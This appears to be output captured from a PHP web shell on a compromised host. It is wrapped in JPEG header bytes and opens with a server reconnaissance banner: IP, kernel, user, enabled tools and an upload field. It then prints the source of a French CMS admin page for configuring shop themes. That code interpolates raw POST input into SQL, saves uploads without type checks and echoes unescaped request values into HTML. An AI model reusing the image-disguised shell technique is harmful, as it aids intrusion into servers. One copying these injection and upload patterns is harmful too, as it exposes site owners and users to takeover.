ÿØÿà JFIF ` ` ÿþxØ
| Server IP : 109.234.164.53 / Your IP : 216.73.216.110 Web Server : Apache System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64 User : computer3 ( 1098) PHP Version : 7.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/computer3/litsolide.com/ODLDDD_2/cp-admin/ |
Upload File : |
<?php
include_once('includes/header.php');
if($niveauT == '1') {
$ide = $_GET['ide'];
$dossier_images = "templates/shop/img/";
$th = $_GET['th']; if ($th == "") { $th = $_POST['th']; }
$th2 = $_GET['th2']; if ($th2 == "") { $th2 = $_POST['th2']; }
$th_name = $_GET['th_name']; if ($th_name == "") { $th_name = $_POST['th_name']; }
$lg_status = $_GET['lg_status']; if ($lg_status == "") { $lg_status = $_POST['lg_status']; }
////////////////////////////////////////////////////////////////////////////////////////////// Empreinte
if (isset($_POST['empreinte'])) {
$ide = $_POST['ide'];
$values = array(
'name' => $_POST['name'],
'description' => $_POST['description'],
'css' => $_POST['css'],
'Image_Logo' => $_POST['Image_Logo'],
'Image_Mini_Logo' => $_POST['Image_Mini_Logo'],
'Image_Logo_hover' => $_POST['Image_Logo_hover'],
'Image_Fond' => $_POST['Image_Fond'],
'Image_Header' => $_POST['Image_Header'],
'Image_Bottom' => $_POST['Image_Bottom'],
'Image_Footer' => $_POST['Image_Footer'],
'hh1' => $_POST['hh1'],
'hh2' => $_POST['hh2'],
'hh3' => $_POST['hh3'],
'hh4' => $_POST['hh4'],
'hh5' => $_POST['hh5'],
'hh6' => $_POST['hh6'],
'logoG' => $_POST['logoG'],
'logoT' => $_POST['logoT'],
'bod' => $_POST['bod'],
'global_txt' => $_POST['global_txt'],
'global_hyp' => $_POST['global_hyp'],
'global_hov' => $_POST['global_hov'],
'filS' => $_POST['filS'],
'tfilS' => $_POST['tfilS'],
'fil' => $_POST['fil'],
'tfil' => $_POST['tfil'],
'top' => $_POST['top'],
'top_hyp' => $_POST['top_hyp'],
'top_hyp_hov' => $_POST['top_hyp_hov'],
'head_coul' => $_POST['head_coul'],
'head_coord' => $_POST['head_coord'],
'head_coordT' => $_POST['head_coordT'],
'head_coordG' => $_POST['head_coordG'],
'head_coord_coul' => $_POST['head_coord_coul'],
'bottom' => $_POST['bottom'],
'bottom_hyp' => $_POST['bottom_hyp'],
'bottom_hyp_hov' => $_POST['bottom_hyp_hov'],
'foot_coul' => $_POST['foot_coul'],
'h5foot' => $_POST['h5foot'],
'textfoot' => $_POST['textfoot'],
'hypfoot' => $_POST['hypfoot'],
'hovfoot' => $_POST['hovfoot'],
'h4foot' => $_POST['h4foot'],
'fbarreh' => $_POST['fbarreh'],
'fmenu' => $_POST['fmenu'],
'fmenuhover' => $_POST['fmenuhover'],
'hymenu' => $_POST['hymenu'],
'homenu' => $_POST['homenu'],
'menu_large_fond' => $_POST['menu_large_fond'],
'fsousmenu' => $_POST['fsousmenu'],
'fsousmenuh' => $_POST['fsousmenuh'],
'hyssmenu' => $_POST['hyssmenu'],
'hossmenu' => $_POST['hossmenu'],
'fond1' => $_POST['fond1'],
'fond2' => $_POST['fond2'],
'fond3' => $_POST['fond3'],
'fond1h' => $_POST['fond1h'],
'fond2h' => $_POST['fond2h'],
'fond3h' => $_POST['fond3h'],
'texte1' => $_POST['texte1'],
'texte2' => $_POST['texte2'],
'texte3' => $_POST['texte3'],
'texte1h' => $_POST['texte1h'],
'texte2h' => $_POST['texte2h'],
'texte3h' => $_POST['texte3h'],
'start_hyp' => $_POST['start_hyp'],
'start_hov' => $_POST['start_hov'],
'tfbox' => $_POST['tfbox'],
'ttbox' => $_POST['ttbox'],
'box' => $_POST['box'],
'box_bor' => $_POST['box_bor'],
'box_txt' => $_POST['box_txt'],
'box_hyp' => $_POST['box_hyp'],
'box_hov' => $_POST['box_hov'],
'fahyp' => $_POST['fahyp'],
'fahov' => $_POST['fahov'],
'fthyp' => $_POST['fthyp'],
'fthov' => $_POST['fthov'],
'thum' => $_POST['thum'],
'thumbord' => $_POST['thumbord'],
'caption' => $_POST['caption'],
'prix' => $_POST['prix']
);
update_posted_data($values, $ide, $GLOBALS['db_table']['themes_empreinte']);
}
////////////////////////////////////////////////////////////////////////////////
if (isset($_POST['edit'])) {
$ide = $_POST['ide'];
$name = $_POST['name'];
////////////////////////////////////// Logo
if(isset($_FILES['logo']))
{
$errors= array();
foreach($_FILES['logo']['tmp_name'] as $key => $tmp_name )
{
$file_logo = $key.$_FILES['logo']['name'][$key];
$file_size =$_FILES['logo']['size'][$key];
$file_tmp =$_FILES['logo']['tmp_name'][$key];
$file_type=$_FILES['logo']['type'][$key];
if($_FILES['file_logo']['size'][$key] > 2097152)
{
$errors[]='Fichier suppérieur à 2 MB !';
}
// Enregistrement des images sur le serveur
$desired_dir="../".$dossier_images."";
$file_logo = ''.time().$file_logo;
if(empty($errors)==true)
{
if(is_dir($desired_dir)==false)
{
mkdir("$desired_dir", 0700); // Créer un dossier si il n'existe pas
}
if(is_dir("$desired_dir/".$file_logo)==false)
{
move_uploaded_file($file_tmp,"$desired_dir/".$file_logo);
}
else
{
// renome les images si elles existe déjÃ
$new_dir="$desired_dir/".$file_logo.time();
rename($file_tmp,$new_dir) ;
} } }
if (!strpos($file_logo, '.')) {
$Image_Logo= $_POST['Image_Logo'];
$values = array(
'Image_Logo' => $Image_Logo
);
update_posted_data($values, $ide, $GLOBALS['db_table']['themes']);
} else {
$values = array(
'Image_Logo' => $file_logo
);
update_posted_data($values, $ide, $GLOBALS['db_table']['themes']);
}
}
////////////////////////////////////// Mini Logo menu
if(isset($_FILES['minilogo']))
{
$errors= array();
foreach($_FILES['minilogo']['tmp_name'] as $key => $tmp_name )
{
$file_minilogo= $key.$_FILES['minilogo']['name'][$key];
$file_size =$_FILES['minilogo']['size'][$key];
$file_tmp =$_FILES['minilogo']['tmp_name'][$key];
$file_type=$_FILES['minilogo']['type'][$key];
if($_FILES['file_minilogo']['size'][$key] > 2097152)
{
$errors[]='Fichier suppérieur à 2 MB !';
}
// Enregistrement des images sur le serveur
$desired_dir="../".$dossier_images."";
$file_minilogo= ''.time().$file_minilogo;
if(empty($errors)==true)
{
if(is_dir($desired_dir)==false)
{
mkdir("$desired_dir", 0700); // Créer un dossier si il n'existe pas
}
if(is_dir("$desired_dir/".$file_minilogo)==false)
{
move_uploaded_file($file_tmp,"$desired_dir/".$file_minilogo);
}
else
{
// renome les images si elles existe déjÃ
$new_dir="$desired_dir/".$file_minilogo.time();
rename($file_tmp,$new_dir) ;
} } }
if (!strpos($file_minilogo, '.')) {
$Image_Mini_Logo= $_POST['Image_Mini_Logo'];
$values = array(
'Image_Mini_Logo' => $Image_Mini_Logo
);
update_posted_data($values, $ide, $GLOBALS['db_table']['themes']);
} else {
$values = array(
'Image_Mini_Logo' => $file_minilogo
);
update_posted_data($values, $ide, $GLOBALS['db_table']['themes']);
}
}
////////////////////////////////////// Logo hover
if(isset($_FILES['logo_hover']))
{
$errors= array();
foreach($_FILES['logo_hover']['tmp_name'] as $key => $tmp_name )
{
$file_logo_hover = $key.$_FILES['logo_hover']['name'][$key];
$file_size =$_FILES['logo_hover']['size'][$key];
$file_tmp =$_FILES['logo_hover']['tmp_name'][$key];
$file_type=$_FILES['logo_hover']['type'][$key];
if($_FILES['file_logo_hover']['size'][$key] > 2097152)
{
$errors[]='Fichier suppérieur à 2 MB !';
}
// Enregistrement des images sur le serveur
$desired_dir="../".$dossier_images."";
$file_logo_hover = ''.time().$file_logo_hover;
if(empty($errors)==true)
{
if(is_dir($desired_dir)==false)
{
mkdir("$desired_dir", 0700); // Créer un dossier si il n'existe pas
}
if(is_dir("$desired_dir/".$file_logo_hover)==false)
{
move_uploaded_file($file_tmp,"$desired_dir/".$file_logo_hover);
}
else
{
// renome les images si elles existe déjÃ
$new_dir="$desired_dir/".$file_logo_hover.time();
rename($file_tmp,$new_dir) ;
} } }
if (!strpos($file_logo_hover, '.')) {
$Image_Logo_hover= $_POST['Image_Logo_hover'];
$values = array(
'Image_Logo_hover' => $Image_Logo_hover
);
update_posted_data($values, $ide, $GLOBALS['db_table']['themes']);
} else {
$values = array(
'Image_Logo_hover' => $file_logo_hover
);
update_posted_data($values, $ide, $GLOBALS['db_table']['themes']);
}
}
////////////////////////////////////// Image_Fond global
if(isset($_FILES['Image_Fond']))
{
$errors= array();
foreach($_FILES['Image_Fond']['tmp_name'] as $key => $tmp_name )
{
$file_Image_Fond = $key.$_FILES['Image_Fond']['name'][$key];
$file_size =$_FILES['Image_Fond']['size'][$key];
$file_tmp =$_FILES['Image_Fond']['tmp_name'][$key];
$file_type=$_FILES['Image_Fond']['type'][$key];
if($_FILES['file_Image_Fond']['size'][$key] > 2097152)
{
$errors[]='Fichier suppérieur à 2 MB !';
}
// Enregistrement des images sur le serveur
$desired_dir="../".$dossier_images."";
$file_Image_Fond = ''.time().$file_Image_Fond;
if(empty($errors)==true)
{
if(is_dir($desired_dir)==false)
{
mkdir("$desired_dir", 0700); // Créer un dossier si il n'existe pas
}
if(is_dir("$desired_dir/".$file_Image_Fond)==false)
{
move_uploaded_file($file_tmp,"$desired_dir/".$file_Image_Fond);
}
else
{
// renome les images si elles existe déjÃ
$new_dir="$desired_dir/".$file_Image_Fond.time();
rename($file_tmp,$new_dir) ;
} } }
if (!strpos($file_Image_Fond, '.')) {
$Image_Fond= $_POST['Image_Fond'];
$values = array(
'Image_Fond' => $Image_Fond
);
update_posted_data($values, $ide, $GLOBALS['db_table']['themes']);
} else {
$values = array(
'Image_Fond' => $file_Image_Fond
);
update_posted_data($values, $ide, $GLOBALS['db_table']['themes']);
}
}
////////////////////////////////////////////////////////////////// Image Header
if(isset($_FILES['Header']))
{
$errors= array();
foreach($_FILES['Header']['tmp_name'] as $key => $tmp_name )
{
$file_Header = $key.$_FILES['Header']['name'][$key];
$file_size =$_FILES['Header']['size'][$key];
$file_tmp =$_FILES['Header']['tmp_name'][$key];
$file_type=$_FILES['Header']['type'][$key];
if($_FILES['file_Header']['size'][$key] > 2097152)
{
$errors[]='Fichier suppérieur à 2 MB !';
}
// Enregistrement des images sur le serveur
$desired_dir="../".$dossier_images."";
$file_Header= ''.time().$file_Header;
if(empty($errors)==true)
{
if(is_dir($desired_dir)==false)
{
mkdir("$desired_dir", 0700); // Créer un dossier si il n'existe pas
}
if(is_dir("$desired_dir/".$file_Header)==false)
{
move_uploaded_file($file_tmp,"$desired_dir/".$file_Header);
}
else
{
// renome les images si elles existe déjÃ
$new_dir="$desired_dir/".$file_Header.time();
rename($file_tmp,$new_dir) ;
} } }
if (!strpos($file_Header, '.')) {
$Image_Header= $_POST['Image_Header'];
$values = array(
'Image_Header' => $Image_Header
);
update_posted_data($values, $ide, $GLOBALS['db_table']['themes']);
} else {
$values = array(
'Image_Header' => $file_Header
);
update_posted_data($values, $ide, $GLOBALS['db_table']['themes']);
}
}
////////////////////////////////////////////////////////////////// Image Bottom
if(isset($_FILES['Bottom']))
{
$errors= array();
foreach($_FILES['Bottom']['tmp_name'] as $key => $tmp_name )
{
$file_Bottom= $key.$_FILES['Bottom']['name'][$key];
$file_size =$_FILES['Bottom']['size'][$key];
$file_tmp =$_FILES['Bottom']['tmp_name'][$key];
$file_type=$_FILES['Bottom']['type'][$key];
if($_FILES['file_Bottom']['size'][$key] > 2097152)
{
$errors[]='Fichier suppérieur à 2 MB !';
}
// Enregistrement des images sur le serveur
$desired_dir="../".$dossier_images."";
$file_Bottom= ''.time().$file_Bottom;
if(empty($errors)==true)
{
if(is_dir($desired_dir)==false)
{
mkdir("$desired_dir", 0700); // Créer un dossier si il n'existe pas
}
if(is_dir("$desired_dir/".$file_Bottom)==false)
{
move_uploaded_file($file_tmp,"$desired_dir/".$file_Bottom);
}
else
{
// renome les images si elles existe déjÃ
$new_dir="$desired_dir/".$file_Bottom.time();
rename($file_tmp,$new_dir) ;
} } }
if (!strpos($file_Bottom, '.')) {
$Image_Bottom= $_POST['Image_Bottom'];
$values = array(
'Image_Bottom' => $Image_Bottom
);
update_posted_data($values, $ide, $GLOBALS['db_table']['themes']);
} else {
$values = array(
'Image_Bottom' => $file_Bottom
);
update_posted_data($values, $ide, $GLOBALS['db_table']['themes']);
}
}
////////////////////////////////////////////////////////////////////////////////// Image Footer
if(isset($_FILES['Footer']))
{
$errors= array();
foreach($_FILES['Footer']['tmp_name'] as $key => $tmp_name )
{
$file_Footer = $key.$_FILES['Footer']['name'][$key];
$file_size =$_FILES['Footer']['size'][$key];
$file_tmp =$_FILES['Footer']['tmp_name'][$key];
$file_type=$_FILES['Footer']['type'][$key];
if($_FILES['file_Footer']['size'][$key] > 2097152)
{
$errors[]='Fichier suppérieur à 2 MB !';
}
// Enregistrement des images sur le serveur
$desired_dir="../".$dossier_images."";
$file_Footer= ''.time().$file_Footer;
if(empty($errors)==true)
{
if(is_dir($desired_dir)==false)
{
mkdir("$desired_dir", 0700); // Créer un dossier si il n'existe pas
}
if(is_dir("$desired_dir/".$file_Footer)==false)
{
move_uploaded_file($file_tmp,"$desired_dir/".$file_Footer);
}
else
{
// renome les images si elles existe déjÃ
$new_dir="$desired_dir/".$file_Footer.time();
rename($file_tmp,$new_dir) ;
} } }
if (!strpos($file_Footer, '.')) {
$Image_Footer= $_POST['Image_Footer'];
$values = array(
'Image_Footer' => $Image_Footer
);
update_posted_data($values, $ide, $GLOBALS['db_table']['themes']);
} else {
$values = array(
'Image_Footer' => $file_Footer
);
update_posted_data($values, $ide, $GLOBALS['db_table']['themes']);
}
}
///////////////////////////////////////////////////////////////////// facebook
if(isset($_FILES['Image_facebook']))
{
$errors= array();
foreach($_FILES['Image_facebook']['tmp_name'] as $key => $tmp_name )
{
$file_Image_facebook = $key.$_FILES['Image_facebook']['name'][$key];
$file_size =$_FILES['Image_facebook']['size'][$key];
$file_tmp =$_FILES['Image_facebook']['tmp_name'][$key];
$file_type=$_FILES['Image_facebook']['type'][$key];
if($_FILES['file_Image_facebook']['size'][$key] > 2097152)
{
$errors[]='Fichier suppérieur à 2 MB !';
}
// Enregistrement des images sur le serveur
$desired_dir="../".$dossier_images."";
$file_Image_facebook= ''.time().$file_Image_facebook;
if(empty($errors)==true)
{
if(is_dir($desired_dir)==false)
{
mkdir("$desired_dir", 0700); // Créer un dossier si il n'existe pas
}
if(is_dir("$desired_dir/".$file_Image_facebook)==false)
{
move_uploaded_file($file_tmp,"$desired_dir/".$file_Image_facebook);
}
else
{
// renome les images si elles existe déjÃ
$new_dir="$desired_dir/".$file_Image_facebook.time();
rename($file_tmp,$new_dir) ;
} } }
if (!strpos($file_Image_facebook, '.')) {
$Image_facebook= $_POST['Image_facebook'];
$values = array(
'Image_facebook' => $Image_facebook
);
update_posted_data($values, $ide, $GLOBALS['db_table']['themes']);
} else {
$values = array(
'Image_facebook' => $file_Image_facebook
);
update_posted_data($values, $ide, $GLOBALS['db_table']['themes']);
}
}
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
$values = array(
'name' => $_POST['name'],
'description' => $_POST['description'],
'css' => $_POST['css'],
'logoG' => $_POST['logoG'],
'logoT' => $_POST['logoT'],
'bod' => $_POST['bod'],
'global_txt' => $_POST['global_txt'],
'global_hyp' => $_POST['global_hyp'],
'global_hov' => $_POST['global_hov'],
'hh1' => $_POST['hh1'],
'hh2' => $_POST['hh2'],
'hh3' => $_POST['hh3'],
'hh4' => $_POST['hh4'],
'hh5' => $_POST['hh5'],
'hh6' => $_POST['hh6'],
'filS' => $_POST['filS'],
'tfilS' => $_POST['tfilS'],
'fil' => $_POST['fil'],
'tfil' => $_POST['tfil'],
'top' => $_POST['top'],
'top_hyp' => $_POST['top_hyp'],
'top_hyp_hov' => $_POST['top_hyp_hov'],
'head_coul' => $_POST['head_coul'],
'head_coord' => $_POST['head_coord'],
'head_coordT' => $_POST['head_coordT'],
'head_coordG' => $_POST['head_coordG'],
'head_coord_coul' => $_POST['head_coord_coul'],
'bottom' => $_POST['bottom'],
'bottom_hyp' => $_POST['bottom_hyp'],
'bottom_hyp_hov' => $_POST['bottom_hyp_hov'],
'foot_coul' => $_POST['foot_coul'],
'h5foot' => $_POST['h5foot'],
'textfoot' => $_POST['textfoot'],
'hypfoot' => $_POST['hypfoot'],
'hovfoot' => $_POST['hovfoot'],
'h4foot' => $_POST['h4foot'],
'fbarreh' => $_POST['fbarreh'],
'fmenu' => $_POST['fmenu'],
'fmenuhover' => $_POST['fmenuhover'],
'hymenu' => $_POST['hymenu'],
'homenu' => $_POST['homenu'],
'menu_large_fond' => $_POST['menu_large_fond'],
'fsousmenu' => $_POST['fsousmenu'],
'fsousmenuh' => $_POST['fsousmenuh'],
'hyssmenu' => $_POST['hyssmenu'],
'hossmenu' => $_POST['hossmenu'],
'fond1' => $_POST['fond1'],
'fond1h' => $_POST['fond1h'],
'texte1' => $_POST['texte1'],
'texte1h' => $_POST['texte1h'],
'fond2' => $_POST['fond2'],
'fond2h' => $_POST['fond2h'],
'texte2' => $_POST['texte2'],
'texte2h' => $_POST['texte2h'],
'fond3' => $_POST['fond3'],
'fond3h' => $_POST['fond3h'],
'texte3' => $_POST['texte3'],
'texte3h' => $_POST['texte3h'],
'start_hyp' => $_POST['start_hyp'],
'start_hov' => $_POST['start_hov'],
'tfbox' => $_POST['tfbox'],
'ttbox' => $_POST['ttbox'],
'box' => $_POST['box'],
'box_bor' => $_POST['box_bor'],
'box_txt' => $_POST['box_txt'],
'box_hyp' => $_POST['box_hyp'],
'box_hov' => $_POST['box_hov'],
'fahyp' => $_POST['fahyp'],
'fahov' => $_POST['fahov'],
'fthyp' => $_POST['fthyp'],
'fthov' => $_POST['fthov'],
'thum' => $_POST['thum'],
'thumbord' => $_POST['thumbord'],
'caption' => $_POST['caption'],
'prix' => $_POST['prix']
);
update_posted_data($values, $ide, $GLOBALS['db_table']['themes']);
$success = "A";
}
////////////////////////////////////////////////////////////////////////////////////////////// Reset ou list
if (isset($_POST['reset'])) {
$ide = $_POST['ide'];
$name = $_POST['name'];
$list = get_theme_empreinte_conf($ide); $success = "B";
} else { $list = get_theme_conf($ide); }
for($i=0; $i<count($list); $i++) {
$Image_Logo = $list[$i]['Image_Logo'];
$Image_Mini_Logo = $list[$i]['Image_Mini_Logo'];
$Image_Logo_hover = $list[$i]['Image_Logo_hover'];
$Image_Fond = $list[$i]['Image_Fond'];
$Image_Header = $list[$i]['Image_Header'];
$Image_Bottom = $list[$i]['Image_Bottom'];
$Image_Footer = $list[$i]['Image_Footer'];
$logoG= $list[$i]['logoG'];
$logoT= $list[$i]['logoT'];
$bod = $list[$i]['bod'];
$global_txt= $list[$i]['global_txt'];
$global_hyp= $list[$i]['global_hyp'];
$global_hov= $list[$i]['global_hov'];
$filS= $list[$i]['filS'];
$tfilS= $list[$i]['tfilS'];
$fil= $list[$i]['fil'];
$tfil= $list[$i]['tfil'];
$hh1= $list[$i]['hh1'];
$hh2= $list[$i]['hh2'];
$hh3= $list[$i]['hh3'];
$hh4= $list[$i]['hh4'];
$hh5= $list[$i]['hh5'];
$hh6= $list[$i]['hh6'];
$top= $list[$i]['top'];
$top_hyp= $list[$i]['top_hyp'];
$top_hyp_hov= $list[$i]['top_hyp_hov'];
$head_coul= $list[$i]['head_coul'];
$head_coord= $list[$i]['head_coord'];
$head_coordT= $list[$i]['head_coordT'];
$head_coordG= $list[$i]['head_coordG'];
$head_coord_coul= $list[$i]['head_coord_coul'];
$bottom= $list[$i]['bottom'];
$bottom_hyp= $list[$i]['bottom_hyp'];
$bottom_hyp_hov= $list[$i]['bottom_hyp_hov'];
$foot_coul= $list[$i]['foot_coul'];
$h5foot= $list[$i]['h5foot'];
$textfoot= $list[$i]['textfoot'];
$hypfoot= $list[$i]['hypfoot'];
$hovfoot= $list[$i]['hovfoot'];
$h4foot= $list[$i]['h4foot'];
$fond1= $list[$i]['fond1'];
$fond2= $list[$i]['fond2'];
$fond3= $list[$i]['fond3'];
$fond1h= $list[$i]['fond1h'];
$fond2h= $list[$i]['fond2h'];
$fond3h= $list[$i]['fond3h'];
$texte1= $list[$i]['texte1'];
$texte2= $list[$i]['texte2'];
$texte3= $list[$i]['texte3'];
$texte1h= $list[$i]['texte1h'];
$texte2h= $list[$i]['texte2h'];
$texte3h= $list[$i]['texte3h'];
$fbarreh= $list[$i]['fbarreh'];
$fmenu= $list[$i]['fmenu'];
$fmenuhover= $list[$i]['fmenuhover'];
$hymenu= $list[$i]['hymenu'];
$homenu= $list[$i]['homenu'];
$menu_large_fond= $list[$i]['menu_large_fond'];
$fsousmenu= $list[$i]['fsousmenu'];
$fsousmenuh= $list[$i]['fsousmenuh'];
$hyssmenu= $list[$i]['hyssmenu'];
$hossmenu= $list[$i]['hossmenu'];
$start_hyp= $list[$i]['start_hyp'];
$start_hov= $list[$i]['start_hov'];
$tfbox= $list[$i]['tfbox'];
$ttbox= $list[$i]['ttbox'];
$box= $list[$i]['box'];
$box_bor= $list[$i]['box_bor'];
$box_txt= $list[$i]['box_txt'];
$box_hyp= $list[$i]['box_hyp'];
$box_hov= $list[$i]['box_hov'];
$fahyp= $list[$i]['fahyp'];
$fahov= $list[$i]['fahov'];
$fthyp= $list[$i]['fthyp'];
$fthov= $list[$i]['fthov'];
$thum= $list[$i]['thum'];
$thumbord= $list[$i]['thumbord'];
$caption= $list[$i]['caption'];
$prix= $list[$i]['prix'];
$name = $list[$i]['name'];
$description = $list[$i]['description'];
$css = $list[$i]['css'];
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// DUPLI
if (isset($_POST['dupli'])) {
$name = $_POST['name'];
$name.='_'.time();
$description = $description;
$css = $css;
$GLOBALS['bdd']->exec("INSERT themes(id,description,name,css) VALUES ( '','Copie','$name','$css')");
$id_nouveau = $bdd->lastInsertId();
$GLOBALS['bdd']->exec("INSERT themes_empreinte(id,name,description,css)
VALUES ( '','$name','$description','$css')");
$values = array(
'Image_Logo' => $Image_Logo,
'Image_Mini_Logo' => $Image_Mini_Logo,
'Image_Logo_hover' => $Image_Logo_hover,
'Image_Fond' => $Image_Fond,
'Image_Header' => $Image_Header,
'Image_Bottom' => $Image_Bottom,
'Image_Footer' => $Image_Footer,
'logoG' => $logoG,
'logoT' => $logoT,
'bod' => $bod,
'global_txt' => $global_txt,
'global_hyp' => $global_hyp,
'global_hov' => $global_hov,
'filS' => $filS,
'tfilS' => $tfilS,
'fil' => $fil,
'tfil' => $tfil,
'hh1' => $hh1,
'hh2' => $hh2,
'hh3' => $hh3,
'hh4' => $hh4,
'hh5' => $hh5,
'hh6' => $hh6,
'top' => $top,
'top_hyp' => $top_hyp,
'top_hyp_hov' => $top_hyp_hov,
'head_coul' => $head_coul,
'head_coord' => $head_coord,
'head_coordT' => $head_coordT,
'head_coordG' => $head_coordG,
'head_coord_coul' => $head_coord_coul,
'bottom' => $bottom,
'bottom_hyp' => $bottom_hyp,
'bottom_hyp_hov' => $bottom_hyp_hov,
'foot_coul' => $foot_coul,
'h5foot' => $h5foot,
'textfoot' => $textfoot,
'hypfoot' => $hypfoot,
'hovfoot' => $hovfoot,
'h4foot' => $h4foot,
'fbarreh' => $fbarreh,
'fmenu' => $fmenu,
'fmenuhover' => $fmenuhover,
'hymenu' => $hymenu,
'homenu' => $homenu,
'menu_large_fond' => $menu_large_fond,
'fsousmenu' => $fsousmenu,
'fsousmenuh' => $fsousmenuh,
'hyssmenu' => $hyssmenu,
'hossmenu' => $hossmenu,
'fond1' => $fond1,
'fond2' => $fond2,
'fond3' => $fond3,
'fond1h' => $fond1h,
'fond2h' => $fond2h,
'fond3h' => $fond3h,
'texte1' => $texte1,
'texte2' => $texte2,
'texte3' => $texte3,
'texte1h' => $texte1h,
'texte2h' => $texte2h,
'texte3h' => $texte3h,
'start_hyp' => $start_hyp,
'start_hov' => $start_hov,
'tfbox' => $tfbox,
'ttbox' => $ttbox,
'box' => $box,
'box_bor' => $box_bor,
'box_txt' => $box_txt,
'box_hyp' => $box_hyp,
'box_hov' => $box_hov,
'fahyp' => $fahyp,
'fahov' => $fahov,
'fthyp' => $fthyp,
'fthov' => $fthov,
'thum' => $thum,
'thumbord' => $thumbord,
'caption' => $caption,
'prix' => $prix
);
update_posted_data($values, $id_nouveau, $GLOBALS['db_table']['themes']);
echo '<script>';
echo 'window.location = "./themes_a.php"';
echo '</script>';
}
?>
<div class="container">
<form action="" method="post" class="form-horizontal" enctype="multipart/form-data">
<?php echo ' <input type="hidden" name="th" value="'.$th.'">'; ?>
<?php echo ' <input type="hidden" name="th2" value="'.$th2.'">'; ?>
<?php echo ' <input type="hidden" name="th_name" value="'.$th_name.'">'; ?>
<?php echo ' <input type="hidden" name="lg_status" value="'.$lg_status.'">'; ?>
<div class="page-header">
<div class="container-fluid">
<h1>Configuration Thème : <?php echo$name; ?> </h1>
</div>
</div>
<div class="container-fluid">
<?php if ($success =='A') { ?>
<div class="alert alert-success"><i class="fa fa-check-circle"></i>
Succès : Vos Informations sont enregistrées !</i><button type="button" class="close" data-dismiss="alert">×</button>
</div>
<?php } else ?>
<?php if ($success =='B') { ?>
<div class="alert alert-danger"><i class="fa fa-check-circle"></i>
Succès : Vous devez maintenant Cliquer sur Enregistrer pour terminer la restauration !</i><button type="button" class="close" data-dismiss="alert">×</button>
</div>
<?php } else { ?>
<?php }?>
<div class="pull-right">
<button type="submit" name="reset" class="btn btn-danger"><i class="icon-ok"></i> Restaurer</button>
<button type="submit" name="empreinte" class="btn btn-primary"><i class="icon-ok"></i> Empreinte</button>
<button type="submit" name="dupli" class="btn btn-danger"><i class="icon-ok"></i> Dupliquer</button>
<a href="themes_a.php" class="btn btn-primary"><i class="icon-arrow-left"></i> Retour Liste</a>
</div>
<div class="form-actions" style="position:fixed; top: 70%;left:0;padding-left:20px">
<button type="submit" name="edit" class="btn btn-success" style="font-size:12pt;height:45px"><i class="icon-ok"></i> Enregistrer</button>
</div>
<div class="row">
<div class="span12">
<div class="well general" style="margin-top:65px;width:97%">
<input type="hidden" name="ide" value="<?php echo$ide ; ?>" />
<input type="hidden" name="name" value="<?php echo$name; ?>" />
<input type="hidden" name="description" value="<?php echo$description; ?>" />
<?php
// Renvoie les couleurs du menu
echo ' <input type="hidden" name="couleur_fond_Menu" value="'.$couleur_fond_Menu.'">';
echo ' <input type="hidden" name="opacite2" value="'.$opacite2.'">';
echo ' <input type="hidden" name="couleur_fond_Menu2" value="'.$couleur_fond_Menu2.'">';
echo ' <input type="hidden" name="opacite22" value="'.$opacite22.'">';
echo ' <input type="hidden" name="couleur_hyp_Menu" value="'.$couleur_hyp_Menu.'">';
echo ' <input type="hidden" name="taille_m" value="'.$taille_m.'">';
echo ' <input type="hidden" name="couleur_hover_Menu" value="'.$couleur_hover_Menu.'">';
echo ' <input type="hidden" name="pos_menu" value="'.$pos_menu.'">';
echo ' <input type="hidden" name="inline_men" value="'.$inline_men.'">';
echo ' <input type="hidden" name="menu_1" value="'.$menu_1.'">';
?>
<br /><br /><h3> 1- Coordonnées du thème et logos</h3><br />
<div class="control-group">
<label class="control-label" style="width:320px;" for="titlefrom">Nom du thème : </label>
<div class="controls">
<input type="text" name="name" style="width:230px;" value="<?php echo $name; ?>">
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="titlefrom">Description du thème : </label>
<div class="controls">
<input type="text" name="description" style="width:230px;" value="<?php echo $description; ?>">
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="titlefrom">Type du thème Html et Css : </label>
<div class="controls">
<input type="text" name="css" style="width:230px;" value="<?php echo $css; ?>">
</div>
</div>
<br /><br />
<div class="control-group">
<label class="control-label" style="width:320px;" for="titlefrom">Logo (<i>Image .png ou .jpg</i>) : </label>
<div class="controls">
<div class="white-space"><input type="text" name="Image_Logo" style="width:230px;" value="<?php echo ''.$Image_Logo.''; ?>">
<input type="file" name="logo[]" multiple/>
</div>
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="titlefrom">Logo au survol (<i>Image .png ou .jpg</i>) : </label>
<div class="controls">
<div class="white-space"><input type="text" name="Image_Logo_hover" style="width:230px;" value="<?php echo ''.$Image_Logo_hover.''; ?>">
<input type="file" name="logo_hover[]" multiple/>
</div>
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="titlefrom">Position Logo depuis le Top : </label>
<div class="controls">
<input type="text" name="logoT" style="width:65px;" value="<?php echo $logoT; ?>"> (<i>en pixels, ne pas préciser px</i>)
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="titlefrom">Position Logo depuis la gauche : </label>
<div class="controls">
<input type="text" name="logoG" style="width:65px;" value="<?php echo $logoG; ?>"> (<i>en %, ne pas préciser %</i>) <b>Pour centrer votre Logo insérez : 100 </b>
<br />
<br /><br />Si pas de logo hover un effet automatique sera sur l'image du logo (conseillé).
<br />Si logo hover l'image hover sera affiché au passage de la souris. Attention les 2 images doivent avoir des dimensions identiques.
<br />L'image de partage (Facebook, etc) est : templates/shop/img/logo_fb.png
</div>
</div>
<br /><hr /><br /><br /><h3> 2- Global site pour le thème</h3><br /><br />
<div class="control-group">
<label class="control-label" style="width:320px;" for="titlefrom">Couleur Background site : </label>
<div class="controls">
<input type="text" class="jscolor" name="bod" style="width:65px;" value="<?php echo ''.$bod.''; ?>">
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="titlefrom">Image Globale Background site (<i>.png ou .jpg</i>) : </label>
<div class="controls">
<div class="white-space"><input type="text" name="Image_Fond" style="width:230px;" value="<?php echo ''.$Image_Fond.''; ?>">
<input type="file" name="Image_Fond[]" multiple/>
</div>
</div>
